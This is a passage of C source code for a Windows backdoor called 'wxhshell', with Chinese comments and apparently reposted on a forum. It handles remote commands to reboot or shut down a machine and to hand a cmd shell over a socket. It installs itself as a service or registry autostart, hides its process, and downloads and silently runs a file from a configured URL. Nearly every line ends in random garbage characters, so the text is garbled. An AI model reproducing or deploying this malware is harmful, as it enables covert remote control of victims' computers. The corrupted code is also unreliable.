      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y9!:^kDI  
    break; M"(6&M=?  
  } sJ~P:g  
  // 安装 c&*l"  
  case 'i': { hk} t:<  
    if(Install()) 5 `=KyHi:b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t77'fm  
    else Ea]T>4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =/9<(Tt%m  
    break; @.ZL7$|d  
    } io2@}xZF  
  // 卸载 oy5+ }`  
  case 'r': { -k{ Jp/-D  
    if(Uninstall()) L\L"mc|O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7|Dn+ =  
    else lw[<STpD;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ([KN*OF  
    break; XG&K32_fs  
    } X NE+(Bt  
  // 显示 wxhshell 所在路径 TwFb%YM  
  case 'p': { Z`s!dV]e9  
    char svExeFile[MAX_PATH]; )6{P8k4Zr  
    strcpy(svExeFile,"\n\r"); 1lcnRHO  
      strcat(svExeFile,ExeFile); lKWr=k~  
        send(wsh,svExeFile,strlen(svExeFile),0); <*Ub2B[m  
    break; $<OhGk-  
    } ug#<LO-.Rd  
  // 重启 2-mQt_ i  
  case 'b': { # X/Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J3B.-XJ+n  
    if(Boot(REBOOT)) VR4%v9[1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gS$A   
    else { 4AHL3@x  
    closesocket(wsh); e4[) WNR  
    ExitThread(0); dy:d=Z  
    } ^ ulps**e  
    break; K-(;D4/sQE  
    } d>!p=O`>{q  
  // 关机 {/ &B!zvl  
  case 'd': { h8 =h >W-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S}7>RHe  
    if(Boot(SHUTDOWN)) RmOyGSO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4seciz0?  
    else { f#P_xn&et  
    closesocket(wsh); x?L hq2  
    ExitThread(0); O2v.  
    } 5pJ*1pfeo  
    break; L~eAQR  
    } l1<?ONB.#  
  // 获取shell GwQn;gkF  
  case 's': { $]*d#`Sy{%  
    CmdShell(wsh); ~/|zlu*jpc  
    closesocket(wsh); _tj&Psp  
    ExitThread(0); nwf7M#3d  
    break; [5Y<7DS  
  } <&U!N'CE  
  // 退出 (WE,dY+.  
  case 'x': { }-p,iTm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (q~0XE/ a  
    CloseIt(wsh); ;'3]{BGcU  
    break; $Ha%Gr  
    } |Q!4GeQL[  
  // 离开 p)/ p!d[T/  
  case 'q': { N E= w6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0x5xLg;Q  
    closesocket(wsh); 5AOfp2O  
    WSACleanup(); bx>i6 R2  
    exit(1); @!\K>G >9[  
    break; -0 0}if7  
        } 4;*f1_;f~  
  } <zfKC  
  } %MJ;Q?KB  
XP;x@I#l  
  // 提示信息 ~>%DKJe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zq*eX\#C  
} uA\J0"0; }  
  } \L[i9m|e  
VPd,]]S5(  
  return; n+oDC65[  
} iP "EA8  
=nVmthGw  
// shell模块句柄 6vp0*ww  
int CmdShell(SOCKET sock) H?U't 09  
{ 9$ O@`P\  
STARTUPINFO si; \FifzKA  
ZeroMemory(&si,sizeof(si)); DJP 6TFT&G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {$fsS&aPg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g-@h>$< 1  
PROCESS_INFORMATION ProcessInfo; Nl*i5 io  
char cmdline[]="cmd";  r(`nt-o@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7& 6Y  
  return 0; _/ Os^>R  
} >. LKct*5K  
l`gTU?<xd  
// 自身启动模式 ]}LGbv"`A  
int StartFromService(void) xjq0D[  
{ VzwPBQ -  
typedef struct @2' %o<lF  
{ (ZPXdr  
  DWORD ExitStatus; 7ZFJexN]  
  DWORD PebBaseAddress; o4)hxs  
  DWORD AffinityMask; TnE+[.Qu  
  DWORD BasePriority; /F~X,lm*~  
  ULONG UniqueProcessId; +R[4\ hC0Y  
  ULONG InheritedFromUniqueProcessId; yP\Up  
}   PROCESS_BASIC_INFORMATION; ("Dv>&w9  
ZBc|438[  
PROCNTQSIP NtQueryInformationProcess; 8D~x\!(p\  
rt b*n~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k dU! kj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @]'S eiNp  
g%\L&}Jd  
  HANDLE             hProcess; +Me2U9  
  PROCESS_BASIC_INFORMATION pbi; (@&I_>2Q  
$']VQ4tZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 40K2uT{cq  
  if(NULL == hInst ) return 0; <NB41/  
xmH-!Da  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \G;CQV#{9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JJf<*j^G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L11L23:  
UK3a{O[ 5  
  if (!NtQueryInformationProcess) return 0; `WlE| G[  
/f3m)pT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #`/QOTnm2c  
  if(!hProcess) return 0; `Q%NSU?  
|E|6=%^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3] 76fF\^[  
{XnPx? V  
  CloseHandle(hProcess); 8wIK:   
nl@E[yA9[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xncwYOz  
if(hProcess==NULL) return 0; ybvI?#  
$qm~c[x%  
HMODULE hMod; c8ZCs?   
char procName[255]; oR %agvc^^  
unsigned long cbNeeded; i\p:#'zk5  
Q 4K +*Fi}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {Y_Nj`#BT  
(9GbG"   
  CloseHandle(hProcess); ./w{L"E  
;KcFy@ 6q5  
if(strstr(procName,"services")) return 1; // 以服务启动 ?`P2'i<b  
K{L.ZH>7  
  return 0; // 注册表启动 Z?1OdoT-  
} "# S>I8d  
e@jfIF0=}  
// 主模块 _D-Riu>#J  
int StartWxhshell(LPSTR lpCmdLine) m6U8)!)T  
{ s~$zWx@v  
  SOCKET wsl; =`p&h}h-L  
BOOL val=TRUE; l$XA5#k  
  int port=0; XxOn3i  
  struct sockaddr_in door; xo~g78jm7,  
+,_c/(P  
  if(wscfg.ws_autoins) Install(); mk=#\>  
V0NVGRQ  
port=atoi(lpCmdLine); Lt>7hBe"  
fNoR\5}!  
if(port<=0) port=wscfg.ws_port; fIyPFqf7w)  
6tdI6  
  WSADATA data; $Jf9;.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r/AHJU3&eY  
}ND'0*#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ")M;+<c"l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;[Tyt[  
  door.sin_family = AF_INET; \ X$)vK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -P#nT 2  
  door.sin_port = htons(port); ;.s: X  
t)I0lnbs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -1 W  
closesocket(wsl); yXF|Sqv  
return 1; &r@H(}$1\  
} !Z s,-=^D  
295w.X(J  
  if(listen(wsl,2) == INVALID_SOCKET) { rJ(OAKnY  
closesocket(wsl); 7a<_BJXx  
return 1; xNgt[fLpS  
} n`<U"$*  
  Wxhshell(wsl); x!?Z *v@I  
  WSACleanup(); M 9"-WIG@h  
2Xgx*'t\  
return 0; NG9vml  
d@g2k> >  
} #F4X}  
|s|/]aD}o  
// 以NT服务方式启动 e2Jp'93o'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8^X]z|2  
{ 5Y-2 #  
DWORD   status = 0; PU+1=%'V  
  DWORD   specificError = 0xfffffff; %F5 =n"  
uaxB -PZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :qnokrGzB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1nB@zBQu -  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sqG`"O4W  
  serviceStatus.dwWin32ExitCode     = 0; h{/ve`F>@  
  serviceStatus.dwServiceSpecificExitCode = 0; x,1=D~L}  
  serviceStatus.dwCheckPoint       = 0; A&l7d0Z^j5  
  serviceStatus.dwWaitHint       = 0; \n0gTwiO%  
B01^oYM}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J px'W  
  if (hServiceStatusHandle==0) return; f)^t')  
"Ot{^ _e  
status = GetLastError(); MPvWCPB  
  if (status!=NO_ERROR) qGa<@ b  
{ KjYDFrR4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,?y7 ,nb  
    serviceStatus.dwCheckPoint       = 0; HRHrSf7  
    serviceStatus.dwWaitHint       = 0; D rTM$)  
    serviceStatus.dwWin32ExitCode     = status;  !!+Da>  
    serviceStatus.dwServiceSpecificExitCode = specificError; C1 {ZW~"YI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); if@,vc  
    return; ~:Ixmqi}R  
  } P)IjL&[  
!4B_$6US  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o2}N=|&  
  serviceStatus.dwCheckPoint       = 0; sR! +d:LJ4  
  serviceStatus.dwWaitHint       = 0; Tc_do"uU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6ZksqdP8  
} M=+M8M`Iy  
7j T}{ x  
// 处理NT服务事件,比如:启动、停止 Omb.53+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~ B]jV$=  
{ ~04[KG  
switch(fdwControl) )* 3bkKVB  
{ ,s? dAy5  
case SERVICE_CONTROL_STOP: Ff)@L-Y\K  
  serviceStatus.dwWin32ExitCode = 0; P;c0L;/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (H-cDsh;c  
  serviceStatus.dwCheckPoint   = 0; {]["6V6W  
  serviceStatus.dwWaitHint     = 0; p1^0{ILx  
  { lh$CWsx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @+t (xCv  
  } i;]CL[#2e`  
  return; {Zwf..,  
case SERVICE_CONTROL_PAUSE: 8KKz5\kn7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k_O-5{  
  break; 1p=&WM  
case SERVICE_CONTROL_CONTINUE: 6$(0Ty  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %/%gMRXG2  
  break; ^S=cNSpC  
case SERVICE_CONTROL_INTERROGATE: w"6aha*%7  
  break; QQ~23TlA  
}; 2L[l'}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~#t*pOC5BR  
} kF2Qv.5!  
j"6:A  
// 标准应用程序主函数 >KHp-|0pv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,-:a?#f>  
{ P57GqT  
U2UyN9:6F  
// 获取操作系统版本 :iEAUM  
OsIsNt=GetOsVer(); 9'X@@6b*'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _XWnS9  
<S{7Ro  
  // 从命令行安装 e?1KbJ?.  
  if(strpbrk(lpCmdLine,"iI")) Install(); m0C{SBn-M  
dq2@6xd  
  // 下载执行文件 Z>h{` X\2  
if(wscfg.ws_downexe) { yDuq6`R*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pl?}>G  
  WinExec(wscfg.ws_filenam,SW_HIDE); vG3M5G  
} UEN56@eCNf  
RxMoD.kx  
if(!OsIsNt) { $^IjFdD  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,P~QS  
HideProc(); !U[:5@s06  
StartWxhshell(lpCmdLine); Pv[ykrm/  
} 2_.CX(kI  
else L?Tu)<Mn  
  if(StartFromService()) j"0rkN3$J  
  // 以服务方式启动 ?cJA^W  
  StartServiceCtrlDispatcher(DispatchTable); ]7l{g9?ZtV  
else ( QKsB3X  
  // 普通方式启动 {RJ52Gx(  
  StartWxhshell(lpCmdLine); }v&K~!*  
( mt*y]p?  
return 0; ,0,Oe=d  
}
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只看该作者 1 发表于: 2006-10-10
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